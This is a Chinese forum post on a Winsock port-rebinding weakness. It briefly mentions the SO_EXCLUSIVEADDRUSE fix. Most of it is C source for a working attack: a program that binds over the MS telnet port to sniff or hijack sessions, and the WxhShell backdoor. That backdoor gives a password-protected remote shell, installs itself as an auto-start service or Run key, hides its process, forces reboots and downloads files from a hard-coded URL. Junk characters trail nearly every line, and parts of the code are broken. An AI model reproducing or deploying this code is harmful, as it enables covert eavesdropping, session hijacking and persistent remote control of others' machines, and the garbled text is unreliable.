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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #Wb4*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); EF=5[$ u  
3k8. 5W  
  saddr.sin_family = AF_INET; %6M%PR~u  
n}4q2x"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9~K+h/  
&/otoAr(  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _ph1( !H$  
nU#K=e =W  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4`RZ&w;1H2  
$h=v ;1"  
  这意味着什么?意味着可以进行如下的攻击: vJx( lU`Y  
8Vt'X2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {\LLiU}MJC  
?\X9Ei  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) l%yQ{loTh  
jrttWT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +#X+QG  
.=hVto[QC  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >29c[O"[  
F^}d>2W(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 L}g#h+GP[  
/&c>*4)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 bV#j@MJ~0  
n1'i!NWt  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7s}F`fjKP  
1h)K3cC  
  #include Hbu :HFJ!  
  #include ;~`/rh V\  
  #include aouYPxA`  
  #include    wg:\$_Og  
  DWORD WINAPI ClientThread(LPVOID lpParam);   zP c54 >f  
  int main() PVmePgF   
  { "`Xbi/i  
  WORD wVersionRequested; }XCh>LvX  
  DWORD ret;  8#1o  
  WSADATA wsaData; /Vx EqIK  
  BOOL val; Sm|TDH  
  SOCKADDR_IN saddr; Upg8t'%{op  
  SOCKADDR_IN scaddr; nmuU*o L  
  int err; 5fmQ+2A C1  
  SOCKET s; ?PV@WrU>B  
  SOCKET sc; 'CG% PjCO  
  int caddsize; "`a,/h'  
  HANDLE mt; )$*B  
  DWORD tid;   L,,*8  
  wVersionRequested = MAKEWORD( 2, 2 ); rQpQ qBu  
  err = WSAStartup( wVersionRequested, &wsaData ); f&$$*a  
  if ( err != 0 ) { jD6T2K7i  
  printf("error!WSAStartup failed!\n"); +p]@b  
  return -1; 'S=eW_ 0/  
  } w2r* $Q  
  saddr.sin_family = AF_INET; ,1v FX$  
   v Et+^3=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7p{uRSE4._  
OO,%zwgt  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #N y+6XM  
  saddr.sin_port = htons(23); 2mO9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) " #U-*Z7  
  { J10&iCr{r*  
  printf("error!socket failed!\n"); iqsR]mab  
  return -1; mQK3YoC)  
  } ,E+\SBQS_  
  val = TRUE; %UV"@I+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 H87k1^}HV  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !D/W6Ic@  
  { Q7mikg=1-  
  printf("error!setsockopt failed!\n"); ZA'0 q  
  return -1; -KqMSf&9  
  } hN!{/Gc|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^j1G08W  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Gxt6]+r  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7sVO?:bj}  
P(L iH  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0]GenT"   
  { <jLL2-5r0  
  ret=GetLastError(); w.=rea~  
  printf("error!bind failed!\n"); FJW,G20L  
  return -1; i&)OJy  
  } T~?&hZ>  
  listen(s,2); m*KI'~#$%  
  while(1) G12o?N0p  
  { %F:; A  
  caddsize = sizeof(scaddr); g12.4+  
  //接受连接请求 fA), ^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /\E3p6\*  
  if(sc!=INVALID_SOCKET) nD=N MqQ &  
  { 1IK*j +%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F9q!Upr_+  
  if(mt==NULL) ~P*{%=a  
  { ~cfvL*~5  
  printf("Thread Creat Failed!\n"); \GGyz{i  
  break; W!* P  
  } _0Y?(}  
  } #aKUD  
  CloseHandle(mt); S*WLb/R2  
  } x3nUKQtk:8  
  closesocket(s); 81)i>]  
  WSACleanup(); (>*L-&-  
  return 0; gaE8\JSr  
  }   =}SLQdT  
  DWORD WINAPI ClientThread(LPVOID lpParam) Hig.` P  
  { W/%9=g$m  
  SOCKET ss = (SOCKET)lpParam; )k4&S{=  
  SOCKET sc; ~!/agLwY  
  unsigned char buf[4096]; uME_/S uO  
  SOCKADDR_IN saddr; Z07n>|WF-  
  long num; LvL2[xh%&  
  DWORD val; 7<X!Xok  
  DWORD ret; X0LC:0+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Yv"B-oy  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   NK%Ok  
  saddr.sin_family = AF_INET; FbW$H]C$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;i ?R+T  
  saddr.sin_port = htons(23); ^Qxv5HS2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )X8N|W>vh  
  { |jcIn[)=  
  printf("error!socket failed!\n"); V&lx0Dy  
  return -1; 6Z@T /"mU(  
  } \[wbJ  
  val = 100; Ghar hJ>v  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d8p5a C+E  
  { qGP}  
  ret = GetLastError(); I(Vg  
  return -1; j%8 1q  
  } l}D /1~d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "@Qg]#]JH  
  { !=6\70lJ  
  ret = GetLastError(); v:NQrN  
  return -1; q/qig5Ou  
  } h)z2#qfc  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :_o^oi7G  
  { oZi{v]4  
  printf("error!socket connect failed!\n"); U/h@Q\~U  
  closesocket(sc); STPRC&7;  
  closesocket(ss); D|'[[=  
  return -1; ,z> w^_  
  } 1L=)93,M  
  while(1) mR8tW"Z2  
  { yI%q3lB}^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /.sho\a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &{ZUY3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4Wa*Pcj  
  num = recv(ss,buf,4096,0); y'O<*~C(X  
  if(num>0) EWOa2^%}Z\  
  send(sc,buf,num,0); vXG?8Q  
  else if(num==0) r5N H*\Q  
  break; }$(\,SzW  
  num = recv(sc,buf,4096,0); Fj"/jdM  
  if(num>0) pfFHuS~  
  send(ss,buf,num,0); |ZOdfr4uW  
  else if(num==0) 9xFI%UOb#  
  break; a`LkP%  
  } D?4bp'0 3  
  closesocket(ss); 4EaxU !BT  
  closesocket(sc); ieXi6^M$  
  return 0 ; 8uA!Vrp3  
  } Jw{ duM;]  
#RHt;SFx  
6r`Xi&  
========================================================== 4I*'(6 ,!  
1had8K-  
下边附上一个代码,,WXhSHELL fm q(!  
NB-%Tp*d  
========================================================== R{Cbp=3J  
y>^0q/=]?O  
#include "stdafx.h" 2W#^^4^+  
SnM^T(gtS3  
#include <stdio.h> @7{.err!  
#include <string.h>  , YlS  
#include <windows.h> aDu[iaZ  
#include <winsock2.h> FwD q@Oj  
#include <winsvc.h> ^$[iLX  
#include <urlmon.h> YWL7.Y>%5  
8i)9ho<  
#pragma comment (lib, "Ws2_32.lib") !-ZY_  
#pragma comment (lib, "urlmon.lib") 1X9J[5|ll  
^1_CS*  
#define MAX_USER   100 // 最大客户端连接数 [\  &2&  
#define BUF_SOCK   200 // sock buffer lR]FQnZ  
#define KEY_BUFF   255 // 输入 buffer @|e we. r  
kU.@HJ[@j  
#define REBOOT     0   // 重启 =T1Xfib  
#define SHUTDOWN   1   // 关机 ,T;D33XV  
zMd><UQP{  
#define DEF_PORT   5000 // 监听端口 %Hhk 6tR,  
Ty7)j]b"zl  
#define REG_LEN     16   // 注册表键长度 ,qNbo 11  
#define SVC_LEN     80   // NT服务名长度 </aQ  
"F4 3q8P  
// 从dll定义API ?-8DS5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h.NCG96S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); po.QM/b \  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D]N)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?TI]0)  
U} w@,6  
// wxhshell配置信息 s_e*jM1  
struct WSCFG { m c{W\H  
  int ws_port;         // 监听端口 *vq75k$7  
  char ws_passstr[REG_LEN]; // 口令 7zIfsb  
  int ws_autoins;       // 安装标记, 1=yes 0=no eBY/Y6R  
  char ws_regname[REG_LEN]; // 注册表键名 y9w,Su2  
  char ws_svcname[REG_LEN]; // 服务名 q+cD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X8A.ag0Uu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c c/nzB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [70 5[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1/K1e$r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2<:dA >1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !YZKa-  
Z'Pe%}3  
}; #rNc+  
UT[{NltH  
// default Wxhshell configuration $xcZ{C  
struct WSCFG wscfg={DEF_PORT, {L [   
    "xuhuanlingzhe", {JF"PAS7  
    1, S\!vDtD@  
    "Wxhshell", ]q4(%Q  
    "Wxhshell", VE}r'MBk  
            "WxhShell Service", r3KNRr@  
    "Wrsky Windows CmdShell Service", ai; Q,Vy  
    "Please Input Your Password: ", #&1gVkvp  
  1, q03+FLEfC  
  "http://www.wrsky.com/wxhshell.exe", # s7e/GdKb  
  "Wxhshell.exe" xvomn`X1  
    }; p1 ("  
{-f%g-@L6|  
// 消息定义模块 eKZS_Qd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C[d1n#@r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]>%2,+5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oJ`=ob4WDo  
char *msg_ws_ext="\n\rExit."; ]'w5s dP  
char *msg_ws_end="\n\rQuit."; V`HnFAW  
char *msg_ws_boot="\n\rReboot..."; z4$9,p `  
char *msg_ws_poff="\n\rShutdown..."; w.#z>4#3-  
char *msg_ws_down="\n\rSave to "; nHRk2l|  
4:pgZz!  
char *msg_ws_err="\n\rErr!"; Dsb Tx.vA  
char *msg_ws_ok="\n\rOK!"; c27(en(  
q8FpJ\  
char ExeFile[MAX_PATH]; rS8\Vf]F  
int nUser = 0; fNfa.0 s  
HANDLE handles[MAX_USER]; Ajo IL  
int OsIsNt; oN%zpz;OR  
%r*,m3d  
SERVICE_STATUS       serviceStatus; 0Ub'=`]5a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E> $_ $'  
pZ3sp!  
// 函数声明 T<NOL fk66  
int Install(void); #f/4%|t:  
int Uninstall(void); 99CK [G  
int DownloadFile(char *sURL, SOCKET wsh);  :8==Bu  
int Boot(int flag); >yHtGIHe-  
void HideProc(void); 5SmJ'zFO  
int GetOsVer(void); *ZFF$0}  
int Wxhshell(SOCKET wsl); J9DI(`  
void TalkWithClient(void *cs); {9.UeVz  
int CmdShell(SOCKET sock); 3IB9-wG  
int StartFromService(void); *X ;ch55\  
int StartWxhshell(LPSTR lpCmdLine); u0G tzk  
`%"x'B`mM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  + #E?)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /e*fsQ>M:  
#y[omla8  
// 数据结构和表定义 c h((u(G  
SERVICE_TABLE_ENTRY DispatchTable[] =  7Z<GlNv  
{ (n7{?`Yid  
{wscfg.ws_svcname, NTServiceMain}, #g0N/  
{NULL, NULL}  Fq5u%S  
}; ! Vlx  
('$*QC.M  
// 自我安装 _ qwf3Q@  
int Install(void) *N:0L,8  
{ *+2_!=4V  
  char svExeFile[MAX_PATH]; @!O(%0 =  
  HKEY key; DT)] [V^w  
  strcpy(svExeFile,ExeFile); 8{ =ha  
~(huUW  
// 如果是win9x系统,修改注册表设为自启动 :@ VCKq!  
if(!OsIsNt) { ,S(s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5MD'AP:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d_0(;'  
  RegCloseKey(key); Uxik&M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ( ^@i(XQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '}B"071)<  
  RegCloseKey(key); 1s(]@gt  
  return 0; !.q 9:|oc  
    } R[S1<m;  
  } yXv@yn  
} h z{--  
else { O8_! !Qd  
&zJ*afi)  
// 如果是NT以上系统,安装为系统服务 \=mLL|a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +zq"dj_  
if (schSCManager!=0) U{LS_VI~  
{ aNNRw(0/  
  SC_HANDLE schService = CreateService u%E8&T8,  
  ( U1pE2o-  
  schSCManager, A'b$X1h  
  wscfg.ws_svcname, 8"g+ k`PRy  
  wscfg.ws_svcdisp, MSeg7/MF  
  SERVICE_ALL_ACCESS, =T&<z_L  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e84%Y8,0  
  SERVICE_AUTO_START, 0GeL">v,:=  
  SERVICE_ERROR_NORMAL, \AA9 m'BZ  
  svExeFile, NH}o`x/  
  NULL, _>kc:  
  NULL, g,M-[o=Fk  
  NULL, d;wq@ e  
  NULL, !>80p~L  
  NULL "`cPV){]  
  ); b=pk;'-  
  if (schService!=0) J:>o\%sF  
  { |YyNqwP`,  
  CloseServiceHandle(schService); un -h%-e |  
  CloseServiceHandle(schSCManager); GEh(pJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VKX|0~  
  strcat(svExeFile,wscfg.ws_svcname); x=Oy 6"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T4"D&~3 3q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -PGxG 8S  
  RegCloseKey(key); S-Vj$asv!  
  return 0; /F~/&p1<\k  
    } x9a\~XL>a  
  } i20y\V os?  
  CloseServiceHandle(schSCManager); knph549  
} N[Ei%I  
} US"g>WLwJ  
OY:rcGc`t  
return 1; BG?>)]6  
} -l[$+Kw1S  
xS5 -m6/  
// 自我卸载 ]4 c+{  
int Uninstall(void) .74C~{}$  
{ Pmd[2/][  
  HKEY key; z},\1^[  
Ddg!1SF  
if(!OsIsNt) { Q~svtN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1E&S{.  
  RegDeleteValue(key,wscfg.ws_regname); 0'$67pY  
  RegCloseKey(key); lN,a+S/'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \y(3b#  
  RegDeleteValue(key,wscfg.ws_regname); 7(h@5  
  RegCloseKey(key); "G.X=, V  
  return 0; 3Wv^{|^  
  } n5.sx|bI?  
} xsJXf @  
} 6vE#$(n#a&  
else { DwGM+)!  
;R#RdUFH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Rk#'^ }  
if (schSCManager!=0) y2s(]# 8  
{ j=M%*`@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); BSg T 6K  
  if (schService!=0) ?2Z`xL9QT  
  { 6Q]c}  
  if(DeleteService(schService)!=0) { DgW@v[#BK=  
  CloseServiceHandle(schService); T@Izf X7  
  CloseServiceHandle(schSCManager); F!)[H["_  
  return 0; _0'X!1"  
  } Y)pop :y t  
  CloseServiceHandle(schService); ]j6pd*H  
  } )lS04|s  
  CloseServiceHandle(schSCManager); `Ng Q>KV!  
} _LC*_LT_  
} \ f+;X  
'r%(,=L  
return 1; ux(~+<k  
} `pZX!6Wn  
UWV%  y P  
// 从指定url下载文件 Y3&,U  
int DownloadFile(char *sURL, SOCKET wsh) [Tbnfst  
{ tJ>>cFx  
  HRESULT hr; f)z(9JJL  
char seps[]= "/"; EwFq1~  
char *token; `P !idg*  
char *file; pInEB6L.P  
char myURL[MAX_PATH]; 3I~.'>Pd  
char myFILE[MAX_PATH]; 9S}rTZkEq  
`H$XO{w  
strcpy(myURL,sURL); #\m.3!Hcr  
  token=strtok(myURL,seps); rnhLv$  
  while(token!=NULL) 0LL0\ly]  
  { dEKu5GI  
    file=token; ?yq=c  
  token=strtok(NULL,seps); Um4zI>  
  } 0,DrVGa  
^ IuhHP  
GetCurrentDirectory(MAX_PATH,myFILE); a?r$E.W'&  
strcat(myFILE, "\\"); r2.w4RMFua  
strcat(myFILE, file); Y]0c%Fd  
  send(wsh,myFILE,strlen(myFILE),0); g*YA~J@  
send(wsh,"...",3,0); u$[8Zmgzz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GEf=A.WAfw  
  if(hr==S_OK) PN]hG,q*4O  
return 0; 7R:Ij[dV  
else a<r,LE  
return 1; ez[x8M>  
{._'Q[  
} _%D7D~2r|  
e8xq`:4Y  
// 系统电源模块 <%uEWb)  
int Boot(int flag) CQ/+- -o  
{ Eq;w5;7s  
  HANDLE hToken; aaY AS"/:  
  TOKEN_PRIVILEGES tkp; ij-'M{f  
} (-9d  
  if(OsIsNt) { CV"}(1T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q`AlK"G,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AJ*17w  
    tkp.PrivilegeCount = 1; SIrNZ^I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7A(4`D J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mL`8COA  
if(flag==REBOOT) { ,IboPh&Q78  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |LQ%sV  
  return 0; ]j/= x2p  
} *,lDo9  
else { :g63*d+/G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 67Pmnad  
  return 0; Lv%t*s2$/  
} E#(e2Z=  
  } Evm3Sm!S  
  else { [=jZP,b&),  
if(flag==REBOOT) { q%kCTw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `&q+ f+z  
  return 0; 0/f|ZH ~!  
} ,(x` zpp _  
else { }>BNdm"Er  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Bj \ x  
  return 0; Z!|r>  
} N^oP,^+U  
} HLPRTta.  
%pjeA[-m#  
return 1; IL.bwt pQD  
} # 2^H{7  
#`|Nm3b  
// win9x进程隐藏模块 V9"R8*@-  
void HideProc(void) ig.Z,R3@r  
{ ^z)De+,!4  
v\?J=|S+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xtv%C  
  if ( hKernel != NULL ) ' abEY  
  { }?mSMqnB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mq4Zy3H   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Qv ~@  
    FreeLibrary(hKernel); -9{N7H  
  } /fT"WaTEK  
7!jb  
return; |Ol29C$@|  
} ^|Fy!kp  
_dk[k@5W{'  
// 获取操作系统版本 Pa d)|  
int GetOsVer(void) vf.MSk?~ar  
{ 7"'PfP4c  
  OSVERSIONINFO winfo; A8mc+ Bf(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >>KI_$V  
  GetVersionEx(&winfo); )GG9[%H!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xgIb6<qwY  
  return 1; 8o|C43Q_  
  else ;AOLbmb)H4  
  return 0; =bD.5,F)  
} ya~;Of5  
nsi? .c&0!  
// 客户端句柄模块 Ojl X<y.  
int Wxhshell(SOCKET wsl) |-S!)iG1V  
{ *> nOL  
  SOCKET wsh; bskoi;)u  
  struct sockaddr_in client; p#P<V%  
  DWORD myID; X5.9~  
GBBr[}y-  
  while(nUser<MAX_USER) `x _(EZ  
{ zC)JOykI%  
  int nSize=sizeof(client); @u/CNx,`X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B6IKD  
  if(wsh==INVALID_SOCKET) return 1; 3)W_^6>bM  
T_Tu>wQX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Lwi"K8.u  
if(handles[nUser]==0) F68e I%Y  
  closesocket(wsh); Rjq\$aY}%  
else Wu{_QuAB  
  nUser++; 7$%G3Q|)L  
  } $dI mA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N}n3 +F  
CQ6I4k  
  return 0; H0"'jd  
} J'ce?_\?PY  
(SW6?5  
// 关闭 socket +i!HMyM  
void CloseIt(SOCKET wsh) Gu$J;bXVj  
{ e6_8f*o|s  
closesocket(wsh); pEcYfj3M  
nUser--; 2C:u)}R7D  
ExitThread(0); r{r~!=u  
} \`~YW<D  
]3,9 ."^  
// 客户端请求句柄 {~9HJDcM  
void TalkWithClient(void *cs) e{87n>+,  
{ FD E?O]^  
>i  
  SOCKET wsh=(SOCKET)cs; 3]kM&lK5\  
  char pwd[SVC_LEN]; 7P(o!%H  
  char cmd[KEY_BUFF]; oS%(~])\  
char chr[1]; ba G_7>Q9H  
int i,j; .up[wt gN  
U'F}k0h?\'  
  while (nUser < MAX_USER) { dO2?&f  
<S7SH-{_\  
if(wscfg.ws_passstr) { I^f|U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &S+*1<|`K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dDl+  
  //ZeroMemory(pwd,KEY_BUFF); 0|-}>>qb\  
      i=0; qgl-,3GY%N  
  while(i<SVC_LEN) { !4+Die X  
{G vGV  
  // 设置超时 lq53 xT  
  fd_set FdRead; &D[M<7T  
  struct timeval TimeOut; \PT!mbB?  
  FD_ZERO(&FdRead); g)Hsd0  
  FD_SET(wsh,&FdRead); .?3ro Q  
  TimeOut.tv_sec=8; >H;m[  
  TimeOut.tv_usec=0; tx[;& ;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _I;hM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AKjobA#  
/f?;,CyI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #FAW@6QG  
  pwd=chr[0]; 6P >Y2xV:  
  if(chr[0]==0xd || chr[0]==0xa) { (Q||5  
  pwd=0; U3B&3K} ~  
  break; "zNS6I?rzE  
  } 2"a%%fv  
  i++; l]&A5tz3  
    } 3 $%#n*  
w)S 4Xi=  
  // 如果是非法用户,关闭 socket Lct_6?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ec#`9w$  
}  gh[q*%#  
3O*iv{-&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *>qc6d@'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z ;~%!  
viU}  
while(1) { Wx3DWY;  
r]xN&Ne5Q  
  ZeroMemory(cmd,KEY_BUFF); N9d^;6;i  
[-l>f P0  
      // 自动支持客户端 telnet标准   8g{Mv#b%  
  j=0; Ygg+=@].@  
  while(j<KEY_BUFF) { ;8vB7|54.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D +0il=5  
  cmd[j]=chr[0]; fFbJE]jW  
  if(chr[0]==0xa || chr[0]==0xd) { P]}:E+E<.I  
  cmd[j]=0; 11QZ- ^  
  break; j^b &Q  
  } L T`T~|pz  
  j++; 9HN&M*}  
    } dbEXl m  
-}T7F+  
  // 下载文件 K'8?%&IQ  
  if(strstr(cmd,"http://")) { 4IW90"uc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7lF;(l^Z>}  
  if(DownloadFile(cmd,wsh)) l<=k#d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N4VZl[7?  
  else X(d:!-_m *  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); * wqR.n?  
  } _G-6G=q  
  else { VWdTnu  
Tg@G-6u0c  
    switch(cmd[0]) { .Gr"| uII  
  3nhQ^zqf  
  // 帮助 pK{G2]OK{U  
  case '?': { Vo{ ~D:)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jl 7>  
    break; /-lW$.+{?  
  } zBTxM  
  // 安装 R3_;!/1  
  case 'i': { |]q{ qsy  
    if(Install()) V3*@n*"N;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LQ Ux}  
    else *j,noHUT~>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N!?~Dgw  
    break; &~.|9P/45  
    } E 8W*^^z(  
  // 卸载 SLkgIb~'X  
  case 'r': { ^oDs*F  
    if(Uninstall()) 4$2HO `@uN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T^d<vH  
    else mg70%=qM0f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j4@6`[n:  
    break; *R4=4e2#S  
    } 23=wz%tF  
  // 显示 wxhshell 所在路径 \[]BB5)8  
  case 'p': { jsV1~1:83  
    char svExeFile[MAX_PATH]; K-*ZS8  
    strcpy(svExeFile,"\n\r"); #+" D?  
      strcat(svExeFile,ExeFile); "\9 beK:l  
        send(wsh,svExeFile,strlen(svExeFile),0); B "4A1!  
    break; UZiL NKc  
    } <uoVGV5N  
  // 重启 qS}{O0  
  case 'b': { 1$ }Tn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]x& R=)P  
    if(Boot(REBOOT)) hP[/xe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x5rm 2C  
    else { fK@UlMC]7  
    closesocket(wsh); 2WKIO|'  
    ExitThread(0); tQxAZ0B^  
    } OHngpe4  
    break; g p|G q  
    } V.Lk70 \  
  // 关机 HCktgL:E=  
  case 'd': { c0jTQMe4yl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J~ @W":v  
    if(Boot(SHUTDOWN)) ;6]ag< Q  
